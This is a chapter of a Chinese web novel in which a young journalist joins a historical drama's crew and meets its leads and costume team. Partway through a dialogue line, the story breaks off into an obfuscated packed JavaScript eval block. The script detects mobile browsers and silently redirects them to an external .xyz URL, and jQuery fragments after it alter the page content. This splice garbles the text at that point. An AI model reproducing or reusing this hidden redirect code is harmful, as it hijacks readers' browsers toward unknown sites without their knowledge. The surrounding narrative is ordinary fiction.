郑攸宁赶到编辑部时，王薇已经坐在办公室等她，见她进来，她将正在翻看的文件推过来：“刚跟《锦绣》剧组的制片人掰扯完，细节都谈得差不多了，条件比我预想的还要优渥，独家跟组权、主演专访优先级，还有后期物料的首发权，都写进合同了，不用怕他们仗着大制作拿捏人。”


    郑攸宁接过文件，是一份合约的草案，目光落在“独家跟组记者：郑攸宁”的字样，她抬头朝王薇感激地笑了笑：“谢谢王姐，让您费心了。”


    “跟我客气什么？”王薇摆摆手，把旁边另一份文件递过去，“这是初步定的主创名单，你先熟悉下，后面跟组也好找话题。男主莫以珩，流量跟实力都有，就是性格独特一点，团队也比较注重隐私，你到时候多注意分寸，他不是我们惹得起的。女主叶枝是新人，听说挺好沟通。”


    郑攸宁接过文件，目光迅速扫过一个个人名，当她的目光落在演员表末尾的“制片顾问：周怀谦”时，指尖顿住。


    她忽然明白了，为什么这样一个顶级资源会点名要她这个资历尚浅的记者，仅仅是一篇写得不错的通稿，别说是王薇了，她自己都是不信的。现在看来，很可能是周伯伯在背后帮了忙。


    她将这份了然沉入心底，她没有对王薇提及这层私人关系，周伯伯不想声张，她也没必要多说，好好把这个项目做好，才是对这份帮助最好的回应。


    王薇的声音继续传来：“我早上已经打电话跟你说过了，这次最麻烦的就是席冉冉和江驰，他俩的经纪人本来就在圈里难缠的要命，现在已经把我拉黑。这俩可想而知，一起进这个组我倒是没想到，应该是经纪公司打包塞进来的。攸宁，你这次身份不同，他们应该不敢拿你怎么样，但是防人之心不可无，在组里尽量避免正面冲突。有时候，适当的隐忍不是软弱，明白我的意思吗？”


    这番话说得推心置腹，郑攸宁知道王薇是担心她年轻气盛，在剧组吃亏。


    “王姐，我明白的。”郑攸宁点头，“您放心，我知道轻重。”


    见她听得进去，神色也坦然，王薇的语气也放松了些：“你能这么想就最好了。记住，保护好自己，也保护好手上的工作，这就是最大的成功。”


    郑攸宁郑重点头，将合同递给王薇：“我看完了，王姐，条款很清晰，我没有异议。”


    “好，这份你留着吧。我再打一份，一会就联系他们签正式的。”


    郑攸宁把合同和演员表叠好放进包里。


    “剧组那边前期的剧本围读已经开始了，布景、服化都在试，对方的意思是，你要是方便，可以随时进组，不用等正式开机。你回去准备准备，毕竟不是在本市，进组就不能随意出来了。”


    “我现在就能去。”郑攸宁立刻回应。


    王薇愣了一下，随即靠在椅背上笑了：“攸宁，你这劲头可以啊。不过，我记得你刚结婚没多久吧？这个阶段，按理说正应该是蜜里调油的时候，你这么急着进组，一去就是个把月，怎么？跟老公吵架了？”


    这话问得郑攸宁心里一紧，她飞快地组织语言，语气尽量自然：“没有。他工作也忙，经常出差，我们彼此都很支持对方的事业。而且，这个机会难得，我想尽早投入进去。”


    王薇是何等精明的人，看得出她不愿多谈，便也不再深究，她爽快地摆摆手，将话题拉回工作：“我不管这些私事，要把工作做好，千万别出纰漏，需要社里协调什么，随时跟我说。”


    “谢谢王姐。”郑攸宁由衷感谢主编的体贴与专业。


    走出主编办公室，郑攸宁的心情复杂难言。前路是充满挑战的新工作，背后是还没有理清的混乱心绪，进组，无疑是她此刻最好的选择。


    ———————————————


    郑攸宁是当天下午到达H市的，H市的夏天比临海的S市更多了几分闷湿。走出高铁站，热浪混着喧嚣的人声扑面而来。她在车上没闲着，三个小时的车程，全用来研读《锦绣》的剧本和人物小传，此刻脑子里还萦绕着那些古意盎然的台词。


    她打了辆车，抵达影视基地时，已近下午四点。门口停着几辆剧组专用的厢式货车，场务们正顶着日头搬运着器材和道具箱。郑攸宁给对接人李姐发了信息，不多时，一个穿着简单T恤、工装裤，扎着利落马尾的女人就小跑着迎了出来。


    “郑记者吧？一路辛苦！”李姐笑着同她握手，一看就很利索，“来得正好，主演们这会儿在剧本围读，我先带你过去认认人，熟悉下环境。”


    “麻烦李姐了。”郑攸宁拎起装满笔记本、相机和录音笔的帆布包，快步跟上。


    路上，李姐简单介绍：“今天主要是男女主角在对词儿。”她推开会议室的门，压低声音，“进去小声点，别打扰他们。”


    会议室里空调开得很足，长条桌旁坐了七八个人。郑攸宁一眼就看到了莫以珩，他穿着简单的白色T恤，戴着副细框眼镜，像一个刚入校园的大学生，与之前在星辉之夜上见到的那个星光熠熠的影帝判若两人。他正用笔在剧本上标注着什么，神情专注。


    坐在他对面的，是女主叶枝，穿了条淡蓝色连衣裙，头发松松地挽成丸子头，正轻声念着台词。


    郑攸宁在会议室角落坐下，目光落在摊开的剧本上，上面是各色笔迹的批注。


    莫以珩的声音低沉有力，台词从他口中念出都带着暗涌。叶枝略显青涩，但念到动情处时，眼角微微发红，手指不自觉地收紧。导演偶尔会喊停，与编剧探讨某句台词背后的心理动机，或是某个情绪转折该如何更精准地呈现。


    郑攸宁在笔记本上记录着观察到的细节。


    休息时，李姐带着她简单介绍了一圈。走到莫以珩面前时，他站起身，微微颔首：“郑记者。”


    “莫老师，您好。”郑攸宁礼貌回应，态度不卑不亢。


    “后面跟拍，有需要配合的随时说。”莫以珩没多寒暄，接过助理递来的水，就转身走到窗边接电话去了。


    叶枝则显得亲和许多，主动走过来打招呼,手里还攥着剧本，声音软软的:“郑记者，后面请多关照呀。”


    郑攸宁和她是第一次见面，郑重了些，“您好，叶小姐，我是郑攸宁。”


    叶枝打量着她的脸：“郑记者看着好年轻呀。”


    “叫我攸宁就好，我今年二十二岁。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492778|184021||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “那只比我大三岁。”叶枝一下子笑了，像是找到了同龄人，她忽然说道，“刚才我读台词的时候，是不是有点太放不开了？我总怕自己没抓住扶楹外柔内刚的感觉。”


    “不会啊。”郑攸宁看着她年轻的脸庞，笑着安慰她，指了指她剧本上的批注，“你记的这些细节，后面拍的时候肯定没问题。”


    叶枝眼睛一亮，举起手里的剧本：“真的吗？你看我在这段旁边画了小太阳。”


    郑攸宁低头，果然看见剧本密密麻麻的批注旁，画着个小太阳，旁边写着“扶楹要加油”，她瞬间被这孩子气的认真戳中了，“这个小太阳画得好，刚好是扶楹心里的光。”


    叶枝被夸得有点不好意思，挠了挠头，刚想说点什么，就被服化组的老师喊去试衣服了。


    李姐我走过来，拍了拍郑攸宁的肩膀：“走，我们也去看看服装。你也去拍几张细节图，后面写筹备稿能用。”


    郑攸宁点点头，跟着李姐往外走，瞥见莫以珩还在打电话，侧脸对着阳光，神情专注。


    服装间里挂满了各色精美服饰，服装老师正从衣架上取下一套碧色襦裙，对着叶枝展开：“枝枝，你看这料子，是专门找苏州绣娘织的云锦，这裙角的流苏我特意加了两寸，走路时会轻轻晃，镜头里肯定好看。”


    叶枝钻进试衣间，没一会儿就出来了。碧色襦裙裹着她纤细的身子，腰间系着条月白色玉带，衬得她腰线细细的。


    郑攸宁下意识举起相机，叶枝刚好抬头，看见她举着相机，没躲开，反而弯起眼睛笑了，手轻轻拽了拽裙角的流苏：“郑记者，这流苏动起来好看吗？会不会太晃眼？”


    “好看，不晃。”郑攸宁按下快门，“咔嚓”一声，把女孩笑盈盈的样子和飘动的流苏都拍了进去。


    她把相机递过去，叶枝凑过来看，指尖点了点屏幕：“哇，你把我拍得好温柔，比我在镜子里看自己还好看。”又抬头冲她眨眨眼，“攸宁，以后你拍我，都按这个标准来行不行？”


    “没问题。”郑攸宁被她的雀跃感染，也笑了，“等拍定妆照，我帮你找最好的角度。”


    李姐这时举着套男性盔甲走过来：“郑记者，你看这个。这是莫老师演萧策征战沙场的主甲胄，甲片都是找老匠人手工打的，上面的云纹参考了唐代出土的文物，连重量都跟真盔甲差不多。”


    郑攸宁用相机拍了细节，叶枝也跟着过来，伸手轻轻碰了碰甲片：“这么厚的甲片，莫老师穿在身上肯定沉，到时候拍打戏跑起来，肯定累得慌。”


    郑攸宁心里一动，叶枝的善良和真诚，就藏在这种随口的念叨里。她举起相机，把叶枝碰着甲片的样子也拍了下来，镜头里，女孩的侧脸柔和，眼里带着点认真，和刚才试裙时的雀跃截然不同，却同样鲜活。


    从服装间出来，李姐又带着郑攸宁转了布景棚，看了正在搭建的驿站场景，直到傍晚，才在剧组食堂简单吃了份盒饭。她正收拾好东西准备回住处整理笔记，身后突然传来一个低沉的声音：“郑记者。”


    郑攸宁回头，看见莫以珩站在走廊的阴影里。


    “莫老师。”她停下脚步。